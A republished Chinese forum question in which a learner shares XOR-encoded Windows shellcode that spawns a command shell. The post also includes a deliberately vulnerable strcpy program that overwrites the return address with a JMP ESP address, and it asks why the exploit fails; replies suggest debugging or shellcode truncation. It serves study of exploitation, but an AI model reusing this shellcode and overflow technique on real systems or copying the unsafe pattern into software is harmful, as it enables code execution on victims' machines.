专注收集记录技术开发学习笔记、技术难点、解决方案
网站信息搜索 >> 请输入关键词:
您当前的位置: 首页 > 信息/网络安全

缓冲区溢出有关问题

发布时间:2011-07-03 07:10:23 文章来源:www.iduyao.cn 采编人员:星星草
缓冲区溢出问题
最近看了一下缓冲区溢出的书,编了以下这个小例子,功能是弹出一个CMD窗口
我把SHELLCODE通过异或法编码~
//decode 解码
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xE8\x03\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
//enshellcode 异或后的shellcode
"\x1c\x7b\xff\xdb\xdb\x97\x97\xff\xc5\xc3"
"\xb9\xf3\xff\xda\xc4\xc1\xd4\xc3\x2f\xec"
"\x8a\x17\xeb\x68\x47\xff\xf4\xf8\xfa\x97"
"\xff\xf6\xf9\xf3\xb9\xff\xf4\xf8\xfa\xfa"
"\xc3\x2f\x50\x4\x28\xe0\x68\x47\x1c\x72";

我把以上放在测试shellcode的程序中是能够成功的
测试代码:
void main()
{
((void (*)(void))&shellcode)();
}

但放在以下程序却不知为何不成功了
#include<stdio.h>
#include<string.h>
#include<windows.h>
#include<conio.h>
char name[]=
"\x90\x90\x90\x90"//name[0]-name[3]
"\x90\x90\x90\x90"//name[4]-name[7]
"\x90\x90\x90\x90"//覆盖ebp
"\x12\x45\xfa\x7f"//覆盖成JMP ESP的地址,通用地址7ffa4512!
//decode
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\xE8\x03\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
//enshellcode
"\x1c\x7b\xff\xdb\xdb\x97\x97\xff\xc5\xc3"
"\xb9\xf3\xff\xda\xc4\xc1\xd4\xc3\x2f\xec"
"\x8a\x17\xeb\x68\x47\xff\xf4\xf8\xfa\x97"
"\xff\xf6\xf9\xf3\xb9\xff\xf4\xf8\xfa\xfa"
"\xc3\x2f\x50\x4\x28\xe0\x68\x47\x1c\x72";
int main()
{
char output[8];
strcpy(output,name);
for(int i=0;output[i];i++)  
printf("\\0x%x",output[i]);
return 0 ;
}
那个覆盖地址是绝对正确的,因为已经测试过了,但不知为何这个程序就是不能实现弹出一个CMD窗口
请高手们帮帮忙,这个问题已困扰了我很久........

------解决方案--------------------
用OD调调
------解决方案--------------------
大概是因为SHELLCODE过长最终被截断了
友情提示:
信息收集于互联网,如果您发现错误或造成侵权,请及时通知本站更正或删除,具体联系方式见页面底部联系我们,谢谢。

其他相似内容:

热门推荐: